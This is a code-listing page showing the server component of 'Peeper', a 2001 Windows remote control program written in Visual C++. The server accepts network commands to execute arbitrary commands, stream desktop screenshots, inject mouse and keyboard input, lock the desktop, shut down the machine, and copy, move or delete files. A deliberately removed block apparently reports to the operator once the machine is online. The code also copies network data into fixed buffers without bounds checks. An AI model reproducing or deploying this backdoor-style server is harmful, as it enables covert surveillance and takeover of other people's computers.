Category

Development Platform
Home > SourceCode/Document > Internet-Socket-Network > Remote Control > View Code
SocketThread.cpp
Package: TOUKUI-1.5.zip　[view]
Upload User: xztxsm
Upload Date: 2007-02-12
Package Size: 150k
Code Size: 17k
Category:

Remote Control

Development Platform:

Visual C++

SocketThread.cpp：Code Content
  1. ///////////////////////////////////////////////////////////////////////////////
  2. // 远程控制软件-偷窥者  服务器端                                             //
  3. // 日期:2001/10/02                                                           //
  4. // 作者:刘东发                                                               //
  5. // Email:dongfa@yeah.net                                                     //
  6. // http://dongfa.yeah.net                                                    //
  7. // 作者声明:                                                                 //
  8. //     此部分代码全是作者所写，可以随便传播，但要保持文件的完整性,有问题     //
  9. // 或者意见请来信,谢谢!                                                      //
  10. ///////////////////////////////////////////////////////////////////////////////
  11. #include "stdafx.h"
  12. #include "SocketThread.h"
  14. static CWinThread *g_pSendDIBThread = NULL;
  15. static CWinThread *g_pWaitCommandThread = NULL;
  16. static CWinThread *g_pSendInfoThread = NULL;
  17. static CString     g_strAString = _T("");
  18. static int         g_nAInt = 0;
  20. UINT SendInfoThread(LPVOID lParam)
  21. {
  22. BOOL bSend = FALSE;
  23. while(1)
  24. {
  25. BOOL bOk = ::PL_DetectInternetConnect();
  26. if(bOk)
  27. {
  28. TRACE("网络已连接......n");
  29. if(!bSend)
  30. {
  32. //此处删掉一些代码。。。。。。呵呵~~~~
  34. bSend = bOk;
  35. }
  36. }
  37. else
  38. {
  39. bSend = FALSE;
  40. }
  41. ::Sleep(10000);
  42. }
  43. return 0;
  44. }
  46. UINT WaitCommandThread(LPVOID lParam)
  47. {
  48. BYTE chFlag = (BYTE)lParam;
  49. switch(chFlag)
  50. {
  51. case PL_MSG:
  52. {
  53. if(g_strAString.GetLength() > 0)
  54. {
  55. ::MessageBox(NULL, g_strAString, _T("Warning!"), 
  56. MB_OK | MB_ICONINFORMATION | MB_SYSTEMMODAL);
  57. g_strAString = _T("");
  58. }
  59. }
  60. break ;
  61. case PL_FUNC_EXEC:
  62. {
  63. if(g_strAString.GetLength() > 0)
  64. {
  65. ::PL_ExecuteCommand(g_strAString.GetBuffer(0));
  66. g_strAString.ReleaseBuffer();
  67. g_strAString = _T("");
  68. }
  69. }
  70. break ;
  71. case PL_FUNC_FILE_COPY_S:
  72. {
  73. if(g_strAString.GetLength() > 0 && g_nAInt > 0)
  74. {
  75. ::PL_CopyFileServer(g_nAInt, g_strAString.GetBuffer(0), FALSE, NULL);
  76. g_strAString.ReleaseBuffer();
  77. g_strAString = _T("");
  78. g_nAInt = 0;
  79. }
  80. }
  81. break ;
  82. case PL_FUNC_FILE_COPY_C:
  83. {
  84. if(g_strAString.GetLength() > 0 && g_nAInt > 0)
  85. {
  86. ::PL_CopyFileServer(g_nAInt, g_strAString.GetBuffer(0), TRUE, NULL);
  87. g_strAString.ReleaseBuffer();
  88. g_strAString = _T("");
  89. g_nAInt = 0;
  90. }
  91. }
  92. break ;
  93. default :
  94. break ;
  95. }
  97. g_pWaitCommandThread = NULL;
  99. return 0;
  100. }
  102. UINT SendDIBThread(LPVOID lParam)
  103. {
  104. int nRet = -1;
  105. SOCKET s = (SOCKET)lParam;
  107. //wait client receive
  108. BYTE chData[20];
  109. ZeroMemory(chData, 20);
  110. nRet = ::PL_ReadSocketData(s, chData, 20, NULL);
  111. if(nRet > 0)
  112. {
  113. HWND hDesktopWnd = ::GetDesktopWindow();
  114. HBITMAP hBmp = ::PL_GetBitmap(hDesktopWnd);
  115. HDIB hDib = NULL;
  117. PL_ColorType ctColor = *((PL_ColorType *)(chData));
  118. PL_ZipType ztZip = *((PL_ZipType *)(chData+sizeof(PL_ColorType)));
  120. int nBits = 4;
  121. switch(ctColor)
  122. {
  123. case color_1:
  124. {
  125. nBits = 1;
  126. }
  127. break ;
  128. case color_4:
  129. {
  130. nBits = 4;
  131. }
  132. break ;
  133. case color_8:
  134. {
  135. nBits = 8;
  136. }
  137. break ;
  138. case color_24:
  139. {
  140. nBits = 24;
  141. }
  142. break ;
  143. default :
  144. {
  145. nBits = 4;
  146. }
  147. break ;
  148. }
  149. hDib = ::PL_BmpToDIB(hBmp, NULL, nBits);
  151. switch(ztZip)
  152. {
  153. case zip_none:
  154. {
  155. ;
  156. }
  157. break ;
  158. case zip_lz77:
  159. {
  160. HDIB hZipDib = (HDIB)::PL_LZ77_Zip(hDib);
  161. ::GlobalFree(hDib);
  162. hDib = hZipDib;
  163. }
  164. break ;
  165. case zip_lzw:
  166. {
  167. HDIB hZipDib = (HDIB)::PL_LZW_Zip(hDib);
  168. ::GlobalFree(hDib);
  169. hDib = hZipDib;
  170. }
  171. break ;
  172. case zip_jpeg:
  173. {
  174. }
  175. break ;
  176. case zip_lzss:
  177. {
  178. HDIB hZipDib = (HDIB)::PL_LZSS_Zip(hDib);
  179. ::GlobalFree(hDib);
  180. hDib = hZipDib;
  181. }
  182. break ;
  183. case zip_ari:
  184. {
  185. HDIB hZipDib = (HDIB)::PL_ARI_Zip(hDib);
  186. ::GlobalFree(hDib);
  187. hDib = hZipDib;
  188. }
  189. break ;
  190. default :
  191. break ;
  192. }
  193. //send start
  194. SIZE sz = ::PL_GetScreenSize();
  195. int nSize = GlobalSize(hDib);
  196. memcpy(chData, &nSize, sizeof(int));
  197. int cx = sz.cx;
  198. int cy = sz.cy;
  199. memcpy(chData+sizeof(int), &cx, sizeof(int));
  200. memcpy(chData+sizeof(int)*2, &cy, sizeof(int));
  201. nRet = ::PL_SendSocketData(s, chData, sizeof(int)*3, PL_DIB);
  202. //send bits
  203. LPBYTE lpData = (LPBYTE)GlobalLock(hDib);
  204. for(int i = 0; i < nSize/PL_SOCKET_MAXBYTES; i ++)
  205. {
  206. nRet = ::PL_SendSocketData(s, (BYTE *)(lpData+(i*PL_SOCKET_MAXBYTES)), 
  207. PL_SOCKET_MAXBYTES);
  208. }
  209. int nRem = nSize - nSize/PL_SOCKET_MAXBYTES*PL_SOCKET_MAXBYTES;
  210. nRet = ::PL_SendSocketData(s, (BYTE *)(lpData + nSize/PL_SOCKET_MAXBYTES*PL_SOCKET_MAXBYTES), nRem);
  211. GlobalUnlock(hDib);
  212. ::DeleteObject(hBmp);
  213. GlobalFree(hDib);
  214. }
  215. g_pSendDIBThread = NULL;
  217. return 0;
  218. }
  220. CSocketThread::CSocketThread(UINT uPort)
  221. {
  222. m_uPort = uPort;
  223. m_sckClient[0] = INVALID_SOCKET;
  224. m_sckClient[1] = INVALID_SOCKET;
  225. m_sckServer = INVALID_SOCKET;
  227. m_nBits = 4;
  228. }
  230. CSocketThread::~CSocketThread()
  231. {
  232. if(g_pSendInfoThread != NULL)
  233. {
  234. ::TerminateThread(g_pSendInfoThread->m_hThread, 0);
  235. ::WaitForSingleObject(g_pSendInfoThread->m_hThread, INFINITE);
  236. g_pSendInfoThread = NULL;
  237. }
  238. ::PL_TermSocket();
  239. ExitServer();
  240. }
  242. int CSocketThread::Run()
  243. {
  244. g_pSendInfoThread = AfxBeginThread(SendInfoThread, NULL, THREAD_PRIORITY_IDLE);
  245. while(1)
  246. {
  247. if(CreateServer())
  248. {
  249. BYTE *chData = new BYTE[PL_SOCKET_MAXBYTES+1];
  250. while(1)
  251. {
  252. ZeroMemory(chData, PL_SOCKET_MAXBYTES+1);
  253. int nRet = ::PL_ReadSocketData(m_sckClient[0], chData, PL_SOCKET_MAXBYTES, NULL);
  254. if(nRet != SOCKET_ERROR)
  255. {
  256. // 处理命令
  257. nRet = DoReceive(chData, nRet);
  258. }
  259. else
  260. {
  261. TRACE(_T("接收数据错误，客户已经断开了......n"));
  262. break ;
  263. }
  264. }
  265. delete []chData;
  266. chData = NULL;
  267. }
  268. ExitServer();
  269. }
  270. return ExitInstance();
  271. }
  273. int CSocketThread::DoReceive(BYTE *chData, int nLen)
  274. {
  275. int nRet = 0;
  276. switch(chData[0])//第一个字符为命令
  277. {
  278. case PL_PEEPER_VER://取服务端版本
  279. {
  280. char chTemp[15];
  281. ZeroMemory(chTemp, 15);
  282. sprintf(chTemp, "%s", PEEPER_SERVER_VER_15);
  283. ::PL_SendSocketData(m_sckClient[0], (BYTE *)chTemp, strlen(chTemp), 
  284. PL_PEEPER_VER);
  285. }
  286. break ;
  287. case PL_CLOSE_PEEPER://关闭服务,退出程序
  288. {
  289. ExitServer();
  290. ExitThread(0);
  291. }
  292. break ;
  293. case PL_CLIENT_CLOSE://关闭连接
  294. {
  295. ExitServer();
  296. }
  297. break ;
  298. case PL_MSG://显示一个对话框信息，使用了线程
  299. {
  300. g_strAString.Format(_T("%s"), chData+1);
  301. if(g_pWaitCommandThread != NULL)
  302. {
  303. ::TerminateThread(g_pWaitCommandThread->m_hThread, 0);
  304. ::WaitForSingleObject(g_pWaitCommandThread->m_hThread, INFINITE);
  305. g_pWaitCommandThread = NULL;
  306. }
  307. g_pWaitCommandThread = AfxBeginThread(WaitCommandThread, (LPVOID)PL_MSG);
  308. }
  309. break ;
  310. case PL_DIB://获得桌面图像
  311. {
  312. if(g_pSendDIBThread != NULL)
  313. {
  314. ::TerminateThread(g_pSendDIBThread->m_hThread, 0);
  315. ::WaitForSingleObject(g_pSendDIBThread->m_hThread, INFINITE);
  316. g_pSendDIBThread = NULL;
  317. }
  318. g_pSendDIBThread = AfxBeginThread(SendDIBThread, (LPVOID)m_sckClient[1]);
  319. }
  320. break ;
  321. case PL_DIB_BITS://桌面图像颜色数
  322. {
  323. m_nBits = *((int*)(chData+1));
  324. }
  325. break ;
  326. case PL_SCREEN_SIZE://显示器分辨率
  327. {
  328. int cx = ::GetSystemMetrics(SM_CXSCREEN);
  329. int cy = ::GetSystemMetrics(SM_CYSCREEN);
  330. BYTE chTemp[15];
  331. ZeroMemory(chTemp, 15);
  332. memcpy(chTemp, &cx, sizeof(int));
  333. memcpy(chTemp + sizeof(int), &cy, sizeof(int));
  334. ::PL_SendSocketData(m_sckClient[0], chTemp, sizeof(int)*2);
  335. }
  336. case PL_MOUSE_MOVE://鼠标移动
  337. {
  338. POINT point;
  339. point.x = *((int *)(chData+1));
  340. point.y = *((int *)(chData+1+sizeof(int)));
  341. ::PL_MouseMove(point);
  342. ::PL_SendSocketData(m_sckClient[0], NULL, 0, PL_TEMP);
  343. }
  344. break ;
  345. case PL_MOUSE_LBUTTONDOWN://鼠标左键按下
  346. {
  347. POINT point;
  348. point.x = *((int *)(chData+1));
  349. point.y = *((int *)(chData+1+sizeof(int)));
  350. BOOL bMouseMove = *((BOOL*)(chData+1+sizeof(int)*2));
  351. bMouseMove = !!bMouseMove;
  352. ::PL_MouseLButtonDown(point, bMouseMove);
  353. ::PL_SendSocketData(m_sckClient[0], NULL, 0, PL_TEMP);
  354. }
  355. break ;
  356. case PL_MOUSE_LBUTTONUP://鼠标左键弹起
  357. {
  358. POINT point;
  359. point.x = *((int *)(chData+1));
  360. point.y = *((int *)(chData+1+sizeof(int)));
  361. BOOL bMouseMove = *((BOOL*)(chData+1+sizeof(int)*2));
  362. bMouseMove = !!bMouseMove;
  363. ::PL_MouseLButtonUp(point, bMouseMove);
  364. ::PL_SendSocketData(m_sckClient[0], NULL, 0, PL_TEMP);
  365. }
  366. break ;
  367. case PL_MOUSE_RBUTTONDOWN://鼠标右键按下
  368. {
  369. POINT point;
  370. point.x = *((int *)(chData+1));
  371. point.y = *((int *)(chData+1+sizeof(int)));
  372. BOOL bMouseMove = *((BOOL*)(chData+1+sizeof(int)*2));
  373. bMouseMove = !!bMouseMove;
  374. ::PL_MouseRButtonDown(point, bMouseMove);
  375. ::PL_SendSocketData(m_sckClient[0], NULL, 0, PL_TEMP);
  376. }
  377. break ;
  378. case PL_MOUSE_RBUTTONUP://鼠标右键弹起
  379. {
  380. POINT point;
  381. point.x = *((int *)(chData+1));
  382. point.y = *((int *)(chData+1+sizeof(int)));
  383. BOOL bMouseMove = *((BOOL*)(chData+1+sizeof(int)*2));
  384. bMouseMove = !!bMouseMove;
  385. ::PL_MouseRButtonUp(point, bMouseMove);
  386. ::PL_SendSocketData(m_sckClient[0], NULL, 0, PL_TEMP);
  387. }
  388. break ;
  389. case PL_MOUSE_LDBLCLK://鼠标左键双击
  390. {
  391. POINT point;
  392. point.x = *((int *)(chData+1));
  393. point.y = *((int *)(chData+1+sizeof(int)));
  394. BOOL bMouseMove = *((BOOL*)(chData+1+sizeof(int)*2));
  395. bMouseMove = !!bMouseMove;
  396. ::PL_MouseLButtonDblClk(point, bMouseMove);
  397. ::PL_SendSocketData(m_sckClient[0], NULL, 0, PL_TEMP);
  398. }
  399. break ;
  400. case PL_MOUSE_RDBLCLK://鼠标右键双击
  401. {
  402. POINT point;
  403. point.x = *((int *)(chData+1));
  404. point.y = *((int *)(chData+1+sizeof(int)));
  405. BOOL bMouseMove = *((BOOL*)(chData+1+sizeof(int)*2));
  406. bMouseMove = !!bMouseMove;
  407. ::PL_MouseRButtonDblClk(point, bMouseMove);
  408. ::PL_SendSocketData(m_sckClient[0], NULL, 0, PL_TEMP);
  409. }
  410. break ;
  411. case PL_KEY_DOWN://一个键被按下
  412. {
  413. UINT uChar = *((UINT *)(chData+1));
  414. UINT uFlag = *((UINT *)(chData+sizeof(UINT)+1));
  415. ::PL_KeyDown(uChar, uFlag);
  416. ::PL_SendSocketData(m_sckClient[0], NULL, 0, PL_TEMP);
  417. }
  418. break ;
  419. case PL_KEY_UP://一个键被弹起
  420. {
  421. UINT uChar = *((UINT *)(chData+1));
  422. UINT uFlag = *((UINT *)(chData+sizeof(UINT)+1));
  423. ::PL_KeyUp(uChar, uFlag);
  424. ::PL_SendSocketData(m_sckClient[0], NULL, 0, PL_TEMP);
  425. }
  426. break ;
  427. case PL_FUNC_EXEC://执行一条命令,使用了线程
  428. {
  429. g_strAString.Format(_T("%s"), chData+1);
  430. if(g_pWaitCommandThread != NULL)
  431. {
  432. ::TerminateThread(g_pWaitCommandThread->m_hThread, 0);
  433. ::WaitForSingleObject(g_pWaitCommandThread->m_hThread, INFINITE);
  434. g_pWaitCommandThread = NULL;
  435. }
  436. g_pWaitCommandThread = AfxBeginThread(WaitCommandThread, (LPVOID)PL_FUNC_EXEC);
  437. }
  438. break ;
  439. case PL_FUNC_LOCK://锁定桌面
  440. {
  441. BOOL bLock = *((BOOL*)(chData+1));
  442. ::PL_LockDesktop(!!bLock);
  443. }
  444. break ;
  445. case PL_FUNC_EXITWIN://关机/重启/注销
  446. {
  447. UINT uFlag = *((UINT *)(chData+1));
  448. ::PL_ExitWindow(uFlag);
  449. }
  450. break ;
  451. case PL_FUNC_CTRL_ALT_DEL://热启动,暂且不行
  452. {
  453. ::PL_Send_CtrlAltDel();
  454. }
  455. break ;
  456. case PL_FUNC_FILE_COPY_S://传送文件
  457. {
  458. char chFile[255];
  459. ZeroMemory(chFile, 255);
  460. sprintf(chFile, "%s", chData+1);
  461. BYTE chTemp[10];
  462. ZeroMemory(chTemp, 10);
  463. int nRet = ::PL_ReadSocketData(m_sckClient[0], chTemp, 10);
  464. if(nRet > 0)
  465. {
  466. nRet = ::PL_SendSocketData(m_sckClient[0], NULL, 0, PL_TEMP);
  467. g_nAInt = *((int*)(chTemp));
  468. g_strAString.Format(_T("%s"), chFile);
  469. if(g_pWaitCommandThread != NULL)
  470. {
  471. ::TerminateThread(g_pWaitCommandThread->m_hThread, 0);
  472. ::WaitForSingleObject(g_pWaitCommandThread->m_hThread, INFINITE);
  473. g_pWaitCommandThread = NULL;
  474. }
  475. g_pWaitCommandThread = AfxBeginThread(WaitCommandThread, 
  476. (LPVOID)PL_FUNC_FILE_COPY_S);
  477. }
  478. }
  479. break ;
  480. case PL_FUNC_FILE_COPY_C:
  481. {
  482. char chFile[255];
  483. ZeroMemory(chFile, 255);
  484. sprintf(chFile, "%s", chData+1);
  485. BYTE chTemp[10];
  486. ZeroMemory(chTemp, 10);
  487. int nRet = ::PL_ReadSocketData(m_sckClient[0], chTemp, 10);
  488. if(nRet > 0)
  489. {
  490. nRet = ::PL_SendSocketData(m_sckClient[0], NULL, 0, PL_TEMP);
  491. g_nAInt = *((int*)(chTemp));
  492. g_strAString.Format(_T("%s"), chFile);
  493. if(g_pWaitCommandThread != NULL)
  494. {
  495. ::TerminateThread(g_pWaitCommandThread->m_hThread, 0);
  496. ::WaitForSingleObject(g_pWaitCommandThread->m_hThread, INFINITE);
  497. g_pWaitCommandThread = NULL;
  498. }
  499. g_pWaitCommandThread = AfxBeginThread(WaitCommandThread, 
  500. (LPVOID)PL_FUNC_FILE_COPY_C);
  501. }
  502. }
  503. break ;
  504. case PL_FUNC_FILE_DELETE:
  505. {
  506. char chFile[255];
  507. ZeroMemory(chFile, 255);
  508. sprintf(chFile, "%s", chData+1);
  509. BOOL bRet = ::PL_DeleteFile(chFile);
  510. ZeroMemory(chFile, 255);
  511. memcpy(chFile, &bRet, sizeof(BOOL));
  512. ::PL_SendSocketData(m_sckClient[0], (BYTE*)chFile, sizeof(BOOL), PL_RETURN_BOOL);
  513. }
  514. break ;
  515. case PL_FUNC_FILE_MOVE:
  516. {
  517. char chSrcFile[255];
  518. ZeroMemory(chSrcFile, 255);
  519. sprintf(chSrcFile, "%s", chData+1);
  520. char chDesFile[255];
  521. ZeroMemory(chDesFile, 255);
  522. nRet = ::PL_ReadSocketData(m_sckClient[0], (BYTE*)chDesFile, 255, NULL);
  523. if(nRet >  0)
  524. {
  525. BOOL bRet = ::PL_MoveFile(chSrcFile, chDesFile);
  526. ZeroMemory(chSrcFile, 255);
  527. memcpy(chSrcFile, &bRet, sizeof(BOOL));
  528. ::PL_SendSocketData(m_sckClient[0], (BYTE*)chSrcFile, 
  529. sizeof(BOOL), PL_RETURN_BOOL);
  530. }
  531. }
  532. break ;
  533. default :
  534. break ;
  535. }
  536. return nRet;
  537. }
  539. BOOL CSocketThread::CreateServer()
  540. {
  541. BOOL bRet = FALSE;
  542. bRet = ::PL_InitSocket();
  543. if(!bRet)
  544. {
  545. return bRet;
  546. }
  548. char chName[256];
  549. sockaddr_in addr;
  550. hostent* pEnt = NULL;
  551. int addrlen = 0, nRet = 0;
  553. nRet = ::gethostname(chName, 256);
  554. if(nRet == 0)
  555. {
  556. m_sckServer = socket(AF_INET, SOCK_STREAM, 0);
  557. if(m_sckServer != INVALID_SOCKET)
  558. {
  559. pEnt = ::gethostbyname(chName);
  560. if(pEnt)
  561. {
  562. addr.sin_family = AF_INET;
  563. addr.sin_port = htons(m_uPort);
  564. addr.sin_addr.s_addr = INADDR_ANY;
  566. nRet = ::bind(m_sckServer, (sockaddr*)&addr, sizeof(addr));
  568. if(nRet != SOCKET_ERROR)
  569. {
  570. nRet = ::listen(m_sckServer, SOMAXCONN);
  571. if(nRet != SOCKET_ERROR)
  572. {
  573. addrlen = sizeof(addr);
  574. TRACE(_T("开始了服务，等待客户......n"));
  575. m_sckClient[0] = ::accept(m_sckServer, (sockaddr*)&addr, &addrlen);
  576. if(m_sckClient[0] != INVALID_SOCKET)
  577. {
  578. //为了同步
  579. ::PL_SendSocketData(m_sckClient[0], NULL, 0, PL_TEMP, MSG_OOB);
  580. }
  581. m_sckClient[1] = ::accept(m_sckServer, (sockaddr*)&addr, &addrlen);
  582. if(m_sckClient[0] != INVALID_SOCKET &&
  583.    m_sckClient[1] != INVALID_SOCKET)
  584. {
  585. TRACE(_T("客户连接上了.......n"));
  586. char chTemp[256];
  587. ZeroMemory(chTemp, 256);
  588. sockaddr_in name1;
  589. sockaddr_in name2;
  590. int nSize = sizeof(sockaddr_in);
  591. int nRet1 = ::getpeername(m_sckClient[0], (sockaddr*)&name1, &nSize);
  592. int nRet2 = ::getpeername(m_sckClient[1], (sockaddr*)&name2, &nSize);
  593. if(nRet1 == 0 && nRet2 == 0)
  594. {
  595. sprintf(chTemp, "Connect is OK.rnServer Computer Name:%s,IP:%d.%d.%d.%d,Port:%d.rnClient[0]:IP=%d.%d.%d.%d  Port=%d.rnClient[1]:IP=%d.%d.%d.%d  Port=%d.",
  596. chName,
  597. (unsigned char)(pEnt->h_addr_list[0][0]),
  598. (unsigned char)(pEnt->h_addr_list[0][1]),
  599. (unsigned char)(pEnt->h_addr_list[0][2]),
  600. (unsigned char)(pEnt->h_addr_list[0][3]),
  601. m_uPort,
  602. name1.sin_addr.S_un.S_un_b.s_b1,
  603. name1.sin_addr.S_un.S_un_b.s_b2,
  604. name1.sin_addr.S_un.S_un_b.s_b3,
  605. name1.sin_addr.S_un.S_un_b.s_b4,
  606. name1.sin_port,
  607. name2.sin_addr.S_un.S_un_b.s_b1,
  608. name2.sin_addr.S_un.S_un_b.s_b2,
  609. name2.sin_addr.S_un.S_un_b.s_b3,
  610. name2.sin_addr.S_un.S_un_b.s_b4,
  611. name2.sin_port);
  612. }
  613. else
  614. {
  615. strcpy(chTemp, "Connect is OK.");
  616. }
  618. nRet = ::PL_SendSocketData(m_sckClient[0], (BYTE *)chTemp, strlen(chTemp)+1, MSG_OOB);
  619. bRet = TRUE;
  620. }
  621. }
  622. }
  623. }
  624. }
  625. }
  627. return bRet;
  628. }
  630. BOOL CSocketThread::ExitServer()
  631. {
  632. TRACE(_T("退出服务，重新等待连接......n"));
  633. if(g_pSendDIBThread != NULL)
  634. {
  635. ::TerminateThread(g_pSendDIBThread->m_hThread, 0);
  636. ::WaitForSingleObject(g_pSendDIBThread->m_hThread, INFINITE);
  637. g_pSendDIBThread = NULL;
  638. }
  640. if(g_pWaitCommandThread != NULL)
  641. {
  642. ::TerminateThread(g_pWaitCommandThread->m_hThread, 0);
  643. ::WaitForSingleObject(g_pWaitCommandThread->m_hThread, INFINITE);
  644. g_pWaitCommandThread = NULL;
  645. }
  647. if(m_sckClient[0] != INVALID_SOCKET)
  648. {
  649. ::closesocket(m_sckClient[0]);
  650. }
  651. if(m_sckClient[1] != INVALID_SOCKET)
  652. {
  653. ::closesocket(m_sckClient[1]);
  654. }
  655. if(m_sckServer != INVALID_SOCKET)
  656. {
  657. ::closesocket(m_sckServer);
  658. }
  659. m_sckClient[0] = INVALID_SOCKET;
  660. m_sckClient[1] = INVALID_SOCKET;
  661. m_sckServer = INVALID_SOCKET;
  663. return TRUE;
  664. }